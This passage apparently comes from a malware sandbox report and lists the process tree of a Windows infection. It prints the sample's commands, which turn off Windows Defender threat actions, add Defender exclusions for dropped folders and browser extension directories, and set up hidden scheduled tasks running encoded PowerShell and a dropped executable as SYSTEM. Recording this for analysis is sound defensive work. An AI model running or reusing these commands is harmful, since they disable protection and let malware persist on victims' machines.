                                                                                                                    PID:4996
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:1356
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:1568
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:1300
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:5128
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:5212
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:5664
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:2832
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:5652
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:552
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:444
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:2692
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:4380
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:184
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:2612
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:5608
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5632
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4744
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3640
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:5172
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:5780
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5008
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3604
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5752
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5192
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4088
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4820
                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                      PID:5664
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3204
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:980
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:3604
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1300
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5964
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:4964
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:5744
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:4860
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:2668
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1992
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5604
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:2384
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:4800
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5136
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:656
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:2296
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:4044
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:5748
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4192
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5180
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:1204
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "gWUxthKSh" /SC once /ST 01:11:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:5304
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /run /I /tn "gWUxthKSh"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:5824
                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:2700
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /DELETE /F /TN "gWUxthKSh"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1324
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 00:54:38 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\rqudsnP.exe\" y7 /JYvUdidga 385118 /S" /V1 /F
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                      PID:5532
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /run /I /tn "WKALCIrwIEiqhKBsn"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:2356
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5764 -s 1008
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                        PID:920
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      • Identifies Wine through registry keys
                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                      PID:1920
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      • Identifies Wine through registry keys
                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                      PID:1972
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:1460
                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                      PID:1856
                                                                                                                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:2692
                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:5236
                                                                                                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:1828
                                                                                                                                                                                                                          • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                                                                                                            C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:3604
                                                                                                                                                                                                                            • C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\rqudsnP.exe
                                                                                                                                                                                                                              C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\rqudsnP.exe y7 /JYvUdidga 385118 /S
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Drops Chrome extension
                                                                                                                                                                                                                              • Drops desktop.ini file(s)
                                                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                              PID:4016
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:5304
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:2772
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:3600
                                                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
